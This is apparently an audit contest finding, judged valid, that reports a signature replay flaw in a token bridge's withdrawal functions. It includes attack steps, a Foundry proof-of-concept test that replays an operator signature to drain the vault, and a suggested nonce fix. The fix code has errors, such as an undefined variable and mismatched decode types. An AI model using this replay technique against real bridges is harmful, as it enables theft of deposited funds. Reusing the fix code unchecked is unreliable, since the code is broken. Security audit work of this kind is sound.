Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Signature used multiple times

Summary

A signature can be used multiple times from the same beneficiary

Vulnerability Details

The functions sendToL1 doesn't check if a message was used so a message can be called multiple times by anyone, as there is no access control over the function. This behaviour opens the following attack vector:

- User make the request to withdraw from L2 to L1
- Off chain component signs the request and calls the one of the 2 functions (`withrawTokensToL1` or `sendToL1`) making public the components of the signature (v, r, s) and transfering the tokens to the User
- User calls again one of the above functions with the same parameters, receiving multiple times the same amount of tokens

Impact

High

Tools Used

Manual, Unit test

Recommendations

Messages should be uniq, and checked if they were used before. The uniq component can be assured by adding nonces on the to variable inside the message. Then, on sendToL1 function after deconding the message, check if the nonce from the message is a nonce used before.
For making the checking easier, we will consider that the nonces must be in order, incremented by one on each message

// it will store the last nonce used by an user
mapping(address => uint256) public userNonces;
...
function withdrawTokensToL1(address to, uint256 amount, uint256 nonce, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
nonce,
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)
);
}
...
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
(address target, uint256 value, uint256 nonce, bytes memory data) = abi.decode(message, (address, uint256, bytes));
// get 'to' from the data
if (nonce != userNonces[to]){
revert();
}
// update userNonces to assure that this message can't be used again
userNonces[to]++;
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}

PoC:

Working Test Case

function testUserCanWithdrawTokensWithOperatorSignatureMultipleTimes() public {
// create user2 addresses
address user2 = makeAddr("user2");
address user2InL2 = makeAddr("user2InL2");
// minte tokens to user2
vm.prank(deployer);
token.transfer(address(user2), 1000e18);
// amounts for each user to deposit
uint256 depositAmountUser = 10e18;
uint256 depositAmountUser2 = 10e18;
vm.startPrank(user);
uint256 userInitialBalance = token.balanceOf(address(user));
// deposit from first user
token.approve(address(tokenBridge), depositAmountUser);
tokenBridge.depositTokensToL2(user, userInL2, depositAmountUser);
vm.stopPrank();
// deposit from second user
vm.startPrank(user2);
token.approve(address(tokenBridge), depositAmountUser2);
tokenBridge.depositTokensToL2(user2, user2InL2, depositAmountUser2);
vm.stopPrank();
// sanity checks
assertEq(token.balanceOf(address(vault)), depositAmountUser + depositAmountUser2);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmountUser);
vm.startPrank(user);
// get the sign message from the operator
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmountUser), operator.key);
// withdraw tokens to the first user
tokenBridge.withdrawTokensToL1(user, depositAmountUser, v, r, s);
// sanity checks that everything is okay
assertEq(token.balanceOf(address(user)), userInitialBalance);
assertEq(token.balanceOf(address(vault)), depositAmountUser);
// withdraw again
tokenBridge.withdrawTokensToL1(user, depositAmountUser, v, r, s);
// proof that user has more tokens the his initial balance
assertEq(token.balanceOf(address(user)), userInitialBalance + depositAmountUser);
// and vault has 0 tokens, even if user2 also deposited
assertEq(token.balanceOf(address(vault)), 0);
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.